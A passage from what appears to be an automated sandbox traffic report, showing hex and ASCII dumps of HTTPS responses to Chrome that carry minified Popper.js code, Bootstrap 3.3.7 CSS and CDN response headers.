6e 20 6a 28 65 2c 74 29 7b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 
28 6f 29 7b 76 61 72 20 6e 3d 74 5b 6f 5d 3b 21 31 3d 3d 3d 6e 3f 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 
6f 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 2c 74 5b 6f 5d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 71 28 65 
2c 74 2c 6f 29 7b 76 61 72 20 6e 3d 44 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 65 2e 6e 61 6d 65 
3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 69 3d 21 
Data Ascii: ','bottom','left'].indexOf(o)&&U(t[o])&&(n='px'),e.style[o]=t[o]+n})}function j(e,t){Object.keys(t).forEach(function(o
){var n=t[o];!1===n?e.removeAttribute(o):e.setAttribute(o,t[o])})}function q(e,t,o){var n=D(e,function(e){var o=e.name;return 
o===t}),i=!

2022-07-01 09:00:49 UTC 674 IN Data Raw: 20 63 6f 6d 6d 61 20 28 2c 29 20 69 6e 73 74 65 61 64 2e 27 29 3b 76 61 72 20 64 3d 2f 5c 73 2a 2c 5c 73 2a 
7c 5c 73 2b 2f 2c 61 3d 2d 31 3d 3d 3d 73 3f 5b 70 5d 3a 5b 70 2e 73 6c 69 63 65 28 30 2c 73 29 2e 63 6f 6e 63 61 74 28 
5b 70 5b 73 5d 2e 73 70 6c 69 74 28 64 29 5b 30 5d 5d 29 2c 5b 70 5b 73 5d 2e 73 70 6c 69 74 28 64 29 5b 31 5d 5d 2e 
63 6f 6e 63 61 74 28 70 2e 73 6c 69 63 65 28 73 2b 31 29 29 5d 3b 72 65 74 75 72 6e 20 61 3d 61 2e 6d 61 70 28 66 75 
6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 69 3d 28 31 3d 3d 3d 6e 3f 21 72 3a 72 29 3f 27 68 65 69 67 68 74 27 3a 
27 77 69 64 74 68 27 2c 70 3d 21 31 3b 72 65 74 75 72 6e 20 65 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 
2c 74 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 
Data Ascii:  comma (,) instead.');var d=/\s*,\s*|\s+/,a=-1===s?[p]:[p.slice(0,s).concat([p[s].split(d)[0]]),[p[s].split(d)[1]].con
cat(p.slice(s+1))];return a=a.map(function(e,n){var i=(1===n?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t){r
eturn''===e[e.len

2022-07-01 09:00:49 UTC 675 IN Data Raw: 3d 3d 65 3f 6e 65 5b 65 5d 3d 2d 31 21 3d 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 
6e 64 65 78 4f 66 28 27 54 72 69 64 65 6e 74 27 29 3a 27 31 30 27 3d 3d 3d 65 3f 6e 65 5b 65 5d 3d 2d 31 21 3d 3d 6e 
61 76 69 67 61 74 6f 72 2e 61 70 70 56 65 72 73 69 6f 6e 2e 69 6e 64 65 78 4f 66 28 27 4d 53 49 45 20 31 30 27 29 3a 
27 61 6c 6c 27 3d 3d 3d 65 3f 6e 65 5b 65 5d 3d 2d 31 21 3d 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 7
4 2e 69 6e 64 65 78 4f 66 28 27 54 72 69 64 65 6e 74 27 29 7c 7c 2d 31 21 3d 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 
72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 27 4d 53 49 45 27 29 3a 76 6f 69 64 20 30 2c 6e 65 2e 61 6c 6c 3d 6e 65 
2e 61 6c 6c 7c 7c 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6e 65 29 2e 73 
Data Ascii: ==e?ne[e]=-1!==navigator.userAgent.indexOf('Trident'):'10'===e?ne[e]=-1!==navigator.appVersion.ind
exOf('MSIE 10'):'all'===e?ne[e]=-1!==navigator.userAgent.indexOf('Trident')||-1!==navigator.userAgent.indexOf('MSIE'):vo
id 0,ne.all=ne.all||Object.keys(ne).s

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:49 UTC 676 IN Data Raw: 28 74 68 69 73 2e 75 70 64 61 74 65 2e 62 69 6e 64 28 74 68 69 73 29 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 
73 3d 64 65 28 7b 7d 2c 74 2e 44 65 66 61 75 6c 74 73 2c 72 29 2c 74 68 69 73 2e 73 74 61 74 65 3d 7b 69 73 44 65 73 
74 72 6f 79 65 64 3a 21 31 2c 69 73 43 72 65 61 74 65 64 3a 21 31 2c 73 63 72 6f 6c 6c 50 61 72 65 6e 74 73 3a 5b 5d 
7d 2c 74 68 69 73 2e 72 65 66 65 72 65 6e 63 65 3d 6f 26 26 6f 2e 6a 71 75 65 72 79 3f 6f 5b 30 5d 3a 6f 2c 74 68 69 73 
2e 70 6f 70 70 65 72 3d 6e 26 26 6e 2e 6a 71 75 65 72 79 3f 6e 5b 30 5d 3a 6e 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 
6d 6f 64 69 66 69 65 72 73 3d 7b 7d 2c 4f 62 6a 65 63 74 2e 6b 65 79 73 28 64 65 28 7b 7d 2c 74 2e 44 65 66 61 75 6c 7
4 73 2e 6d 6f 64 69 66 69 65 72 73 2c 72 2e 6d 6f 64 69 66 69 65 
Data Ascii: (this.update.bind(this)),this.options=de({},t.Defaults,r),this.state={isDestroyed:!1,isCreated:!1,scrollParents:
[]},this.reference=o&&o.jquery?o[0]:o,this.popper=n&&n.jquery?n[0]:n,this.options.modifiers={},Object.keys(de({},t.D
efaults.modifiers,r.modifie

2022-07-01 09:00:49 UTC 678 IN Data Raw: 2e 70 6f 70 70 65 72 2c 73 3d 2d 31 21 3d 3d 5b 27 62 6f 74 74 6f 6d 27 2c 27 74 6f 70 27 5d 2e 69 6e 64 65 
78 4f 66 28 6f 29 2c 64 3d 73 3f 27 6c 65 66 74 27 3a 27 74 6f 70 27 2c 61 3d 73 3f 27 77 69 64 74 68 27 3a 27 68 65 69 
67 68 74 27 2c 6c 3d 7b 73 74 61 72 74 3a 73 65 28 7b 7d 2c 64 2c 72 5b 64 5d 29 2c 65 6e 64 3a 73 65 28 7b 7d 2c 64 
2c 72 5b 64 5d 2b 72 5b 61 5d 2d 70 5b 61 5d 29 7d 3b 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 64 65 28 7b 
7d 2c 70 2c 6c 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 65 7d 7d 2c 6f 66 66 73 65 74 3a 7b 6f 72 64 65 72 3a 32 30 30 2c 6
5 6e 61 62 6c 65 64 3a 21 30 2c 66 6e 3a 5f 2c 6f 66 66 73 65 74 3a 30 7d 2c 70 72 65 76 65 6e 74 4f 76 65 72 66 6c 6f 7
7 3a 7b 6f 72 64 65 72 3a 33 30 30 2c 65 6e 61 62 6c 65 64 3a 21 
Data Ascii: .popper,s=-1!==['bottom','top'].indexOf(o),d=s?'left':'top',a=s?'width':'height',l={start:se({},d,r[d]),end:se({},d,r[
d]+r[a]-p[a])};e.offsets.popper=de({},p,l[n])}return e}},offset:{order:200,enabled:!0,fn:_,offset:0},preventOverflow:{or
der:300,enabled:!

2022-07-01 09:00:49 UTC 679 IN Data Raw: 72 72 6f 77 27 2c 27 6b 65 65 70 54 6f 67 65 74 68 65 72 27 29 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 69 
3d 6f 2e 65 6c 65 6d 65 6e 74 3b 69 66 28 27 73 74 72 69 6e 67 27 3d 3d 74 79 70 65 6f 66 20 69 29 7b 69 66 28 69 3d 
65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 69 29 2c 21 69 29 72 
65 74 75 72 6e 20 65 3b 7d 65 6c 73 65 20 69 66 28 21 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 2e 63 6f 6e 7
4 61 69 6e 73 28 69 29 29 72 65 74 75 72 6e 20 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 57 41 52 4e 49 4e 47 3a 20 60 
61 72 72 6f 77 2e 65 6c 65 6d 65 6e 74 60 20 6d 75 73 74 20 62 65 20 63 68 69 6c 64 20 6f 66 20 69 74 73 20 70 6f 70 
70 65 72 20 65 6c 65 6d 65 6e 74 21 27 29 2c 65 3b 76 61 72 20 72 3d 
Data Ascii: rrow','keepTogether'))return e;var i=o.element;if('string'==typeof i){if(i=e.instance.popper.querySelector(i
),!i)return e;}else if(!e.instance.popper.contains(i))return console.warn('WARNING: `arrow.element` must be child of its 
popper element!'),e;var r=

2022-07-01 09:00:49 UTC 680 IN Data Raw: 74 75 72 6e 20 65 3b 6e 3d 65 2e 70 6c 61 63 65 6d 65 6e 74 2e 73 70 6c 69 74 28 27 2d 27 29 5b 30 5d 2c 
69 3d 53 28 6e 29 3b 76 61 72 20 61 3d 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 2c 6c 3d 65 2e 6f 66 66 73 65 74 
73 2e 72 65 66 65 72 65 6e 63 65 2c 66 3d 4a 2c 6d 3d 27 6c 65 66 74 27 3d 3d 3d 6e 26 26 66 28 61 2e 72 69 67 68 74 
29 3e 66 28 6c 2e 6c 65 66 74 29 7c 7c 27 72 69 67 68 74 27 3d 3d 3d 6e 26 26 66 28 61 2e 6c 65 66 74 29 3c 66 28 6c 2
e 72 69 67 68 74 29 7c 7c 27 74 6f 70 27 3d 3d 3d 6e 26 26 66 28 61 2e 62 6f 74 74 6f 6d 29 3e 66 28 6c 2e 74 6f 70 29 7
c 7c 27 62 6f 74 74 6f 6d 27 3d 3d 3d 6e 26 26 66 28 61 2e 74 6f 70 29 3c 66 28 6c 2e 62 6f 74 74 6f 6d 29 2c 68 3d 66 2
8 61 2e 6c 65 66 74 29 3c 66 28 6f 2e 6c 65 66 74 29 2c 63 3d 66 
Data Ascii: turn e;n=e.placement.split('-')[0],i=S(n);var a=e.offsets.popper,l=e.offsets.reference,f=J,m='left'===n&&f(a
.right)>f(l.left)||'right'===n&&f(a.left)<f(l.right)||'top'===n&&f(a.bottom)>f(l.top)||'bottom'===n&&f(a.top)<f(l.bottom),h=f(a.left)
<f(o.left),c=f

2022-07-01 09:00:49 UTC 682 IN Data Raw: 65 29 72 65 74 75 72 6e 20 65 3b 65 2e 68 69 64 65 3d 21 30 2c 65 2e 61 74 74 72 69 62 75 74 65 73 5b 27 
78 2d 6f 75 74 2d 6f 66 2d 62 6f 75 6e 64 61 72 69 65 73 27 5d 3d 27 27 7d 65 6c 73 65 7b 69 66 28 21 31 3d 3d 3d 65 2e 
68 69 64 65 29 72 65 74 75 72 6e 20 65 3b 65 2e 68 69 64 65 3d 21 31 2c 65 2e 61 74 74 72 69 62 75 74 65 73 5b 27 78 
2d 6f 75 74 2d 6f 66 2d 62 6f 75 6e 64 61 72 69 65 73 27 5d 3d 21 31 7d 72 65 74 75 72 6e 20 65 7d 7d 2c 63 6f 6d 70 75 
74 65 53 74 79 6c 65 3a 7b 6f 72 64 65 72 3a 38 35 30 2c 65 6e 61 62 6c 65 64 3a 21 30 2c 66 6e 3a 66 75 6e 63 74 69 6
f 6e 28 65 2c 74 29 7b 76 61 72 20 6f 3d 74 2e 78 2c 6e 3d 74 2e 79 2c 69 3d 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 
65 72 2c 70 3d 44 28 65 2e 69 6e 73 74 61 6e 63 65 2e 6d 6f 64 69 
Data Ascii: e)return e;e.hide=!0,e.attributes['x-out-of-boundaries']=''}else{if(!1===e.hide)return e;e.hide=!1,e.attributes['x-
out-of-boundaries']=!1}return e}},computeStyle:{order:850,enabled:!0,fn:function(e,t){var o=t.x,n=t.y,i=e.offsets.popper,p=
D(e.instance.modi

2022-07-01 09:00:49 UTC 683 IN Data Raw: 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 2c 6e 2c 69 29 7b 76 61 72 20 72 3d 4f 28 69 2c 74 2c 65 2c 
6f 2e 70 6f 73 69 74 69 6f 6e 46 69 78 65 64 29 2c 70 3d 78 28 6f 2e 70 6c 61 63 65 6d 65 6e 74 2c 72 2c 74 2c 65 2c 6f 
2e 6d 6f 64 69 66 69 65 72 73 2e 66 6c 69 70 2e 62 6f 75 6e 64 61 72 69 65 73 45 6c 65 6d 65 6e 74 2c 6f 2e 6d 6f 64 69 
66 69 65 72 73 2e 66 6c 69 70 2e 70 61 64 64 69 6e 67 29 3b 72 65 74 75 72 6e 20 74 2e 73 65 74 41 74 74 72 69 62 75 
74 65 28 27 78 2d 70 6c 61 63 65 6d 65 6e 74 27 2c 70 29 2c 59 28 74 2c 7b 70 6f 73 69 74 69 6f 6e 3a 6f 2e 70 6f 73 69 
74 69 6f 6e 46 69 78 65 64 3f 27 66 69 78 65 64 27 3a 27 61 62 73 6f 6c 75 74 65 27 7d 29 2c 6f 7d 2c 67 70 75 41 63 63 
65 6c 65 72 61 74 69 6f 6e 3a 76 6f 69 64 20 30 7d 7d 7d 2c 
Data Ascii: d:function(e,t,o,n,i){var r=O(i,t,e,o.positionFixed),p=x(o.placement,r,t,e,o.modifiers.flip.boundariesElemen
t,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),Y(t,{position:o.positionFixed?'fixed':'absolute'}),o},gpuAccele
ration:void 0}}},

2022-07-01 09:00:49 UTC 683 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

44 104.18.10.207 443 192.168.2.5 49784 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:49 UTC 683 IN HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 09:00:49 GMT
Content-Type: text/css; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
CDN-PullZone: 252412
CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74
CDN-RequestCountryCode: DE
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=31919000
Last-Modified: Mon, 25 Jan 2021 22:03:59 GMT
CDN-CachedAt: 06/26/2022 23:51:43
CDN-EdgeStorageId: 860
CDN-RequestPullCode: 200
CDN-RequestPullSuccess: True
timing-allow-origin: *
cross-origin-resource-policy: cross-origin
X-Content-Type-Options: nosniff
CDN-Status: 200
CDN-ProxyVer: 1.02
CDN-RequestId: d603a72a6550ecce5b72b169094a83c5
CDN-Cache: HIT
CF-Cache-Status: HIT
Age: 45176
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 723df417ec95903c-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-07-01 09:00:49 UTC 684 IN Data Raw: 37 62 65 34 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 33 2e 33 2e 37 20 28 68 74 74 70 3a 
2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 
31 36 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 
28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 
61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 
2e 33 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 68 75 62 2e 63 6f 6d 2f 6e 65 63 6f 6c 61 73 2f 6e 6f 
72 6d 61 6c 69 7a 65 2e 63 73 73 20 2a 2f 68 74 6d 6c 7b 
Data Ascii: 7be4/*! * Bootstrap v3.3.7 (http://getbootstrap.com) * Copyright 2011-2016 Twitter, Inc. * Licensed under MIT 
(https://github.com/twbs/bootstrap/blob/master/LICENSE) *//*! normalize.css v3.0.3 | MIT License | github.com/necolas/
normalize.css */html{

2022-07-01 09:00:49 UTC 685 IN Data Raw: 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 
68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 
61 72 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 
76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 
67 6e 3a 62 61 73 65 6c 69 6e 65 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 
79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 5b 68 69 64 64 65 6e 5d 2c 74 65 6d 70 6c 61 74 65 7b 64 69 73 70 6c 
61 79 3a 6e 6f 6e 65 7d 61 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 
Data Ascii: de,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audi
o,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden
],template{display:none}a{background-

2022-07-01 09:00:49 UTC 686 IN Data Raw: 2d 73 70 69 6e 2d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 3a 3a 2d 77 
65 62 6b 69 74 2d 6f 75 74 65 72 2d 73 70 69 6e 2d 62 75 74 74 6f 6e 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 69 6e 70 
75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 6
5 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 7
3 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 74 65 
78 74 66 69 65 6c 64 7d 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 65 61 
72 63 68 2d 63 61 6e 63 65 6c 2d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 
Data Ascii: -spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-box-sizing
:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type=search]::-webkit-
search-cancel-button,input

2022-07-01 09:00:49 UTC 687 IN Data Raw: 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 61 62 6c 65 2d 62 6f 72 64 65 72 65 64 20 74 64 2c 2e 74 61 
62 6c 65 2d 62 6f 72 64 65 72 65 64 20 74 68 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 21 69 6d 
70 6f 72 74 61 6e 74 7d 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 47 6c 79 70 68 69 63 
6f 6e 73 20 48 61 6c 66 6c 69 6e 67 73 27 3b 73 72 63 3a 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 67 6c 79 70 68 69 63 6f 
6e 73 2d 68 61 6c 66 6c 69 6e 67 73 2d 72 65 67 75 6c 61 72 2e 65 6f 74 29 3b 73 72 63 3a 75 72 6c 28 2e 2e 2f 66 6f 6e 
74 73 2f 67 6c 79 70 68 69 63 6f 6e 73 2d 68 61 6c 66 6c 69 6e 67 73 2d 72 65 67 75 6c 61 72 2e 65 6f 74 3f 23 69 65 66 
69 78 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 
Data Ascii: fff!important}.table-bordered td,.table-bordered th{border:1px solid #ddd!important}}@font-face{font-family:
'Glyphicons Halflings';src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) 
format('embedde

2022-07-01 09:00:49 UTC 689 IN Data Raw: 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 39 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 74 68 2d 
6c 61 72 67 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 30 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 
2d 74 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 31 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 74 68 
2d 6c 69 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 32 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 
6f 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 33 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 72 65 6d 
6f 76 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 34 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 7a 6f 
6f 6d 2d 69 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 
Data Ascii: efore{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyph
icon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyph
icon-zoom-in:before{content

Timestamp
kBytes
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2022-07-01 09:00:49 UTC 690 IN Data Raw: 65 6e 74 3a 22 5c 65 30 34 32 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 62 6f 6f 6b 3a 62 65 66 6f 72 65 7b 63 
6f 6e 74 65 6e 74 3a 22 5c 65 30 34 33 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 62 6f 6f 6b 6d 61 72 6b 3a 62 65 66 6f 72 
65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 34 34 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 70 72 69 6e 74 3a 62 65 66 6f 72 
65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 34 35 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 61 6d 65 72 61 3a 62 65 66 6f 
72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 34 36 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 66 6f 6e 74 3a 62 65 66 6f 72 
65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 34 37 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 62 6f 6c 64 3a 62 65 66 6f 72 65 
7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 34 38 22 7d 2e 67 
Data Ascii: ent:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-pri
nt:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bol
d:before{content:"\e048"}.g

2022-07-01 09:00:49 UTC 691 IN Data Raw: 5c 65 30 37 35 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 66 61 73 74 2d 66 6f 72 77 61 72 64 3a 62 65 66 6f 72 
65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 37 36 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 73 74 65 70 2d 66 6f 72 77 61 72 
64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 37 37 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 65 6a 65 63 
74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 37 38 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 68 65 76 
72 6f 6e 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 37 39 22 7d 2e 67 6c 79 70 68 69 
63 6f 6e 2d 63 68 65 76 72 6f 6e 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 38 30 22 
7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 70 6c 75 73 2d 73 69 67 
Data Ascii: \e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphi
con-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:
"\e080"}.glyphicon-plus-sig

2022-07-01 09:00:49 UTC 693 IN Data Raw: 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 30 39 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 72 61 6e 64 6f 6d 
3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 31 30 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 6f 6d 6d 65 
6e 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 31 31 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 6d 61 67 
6e 65 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 31 32 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 68 
65 76 72 6f 6e 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 31 33 22 7d 2e 67 6c 79 70 68 69 
63 6f 6e 2d 63 68 65 76 72 6f 6e 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 31 34 22 7d 
2e 67 6c 79 70 68 69 63 6f 6e 2d 72 65 74 77 65 65 74 3a 62 
Data Ascii: re{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e1
11"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-d
own:before{content:"\e114"}.glyphicon-retweet:b

2022-07-01 09:00:49 UTC 695 IN Data Raw: 68 69 63 6f 6e 2d 66 75 6c 6c 73 63 72 65 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 
34 30 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 64 61 73 68 62 6f 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 
22 5c 65 31 34 31 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 70 61 70 65 72 63 6c 69 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 
65 6e 74 3a 22 5c 65 31 34 32 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 68 65 61 72 74 2d 65 6d 70 74 79 3a 62 65 66 6f 
72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 34 33 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 6c 69 6e 6b 3a 62 65 66 6f 72 
65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 34 34 22 7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 70 68 6f 6e 65 3a 62 65 66 6f 72 
65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 34 35 22 7d 2e 67 
Data Ascii: hicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:bef
ore{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phon
e:before{content:"\e145"}.g

2022-07-01 09:00:49 UTC 697 IN Data Raw: 79 2d 64 69 73 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 37 32 22 7d 2e 67 6c 79 70 68 
69 63 6f 6e 2d 66 6c 6f 70 70 79 2d 73 61 76 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 31 37 33 22 
7d 2e 67 6c 79 70 68 69 63 6f 6e 2d 66 6c 6f 70 70 79 2d 72 65 6d 6f 76 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 
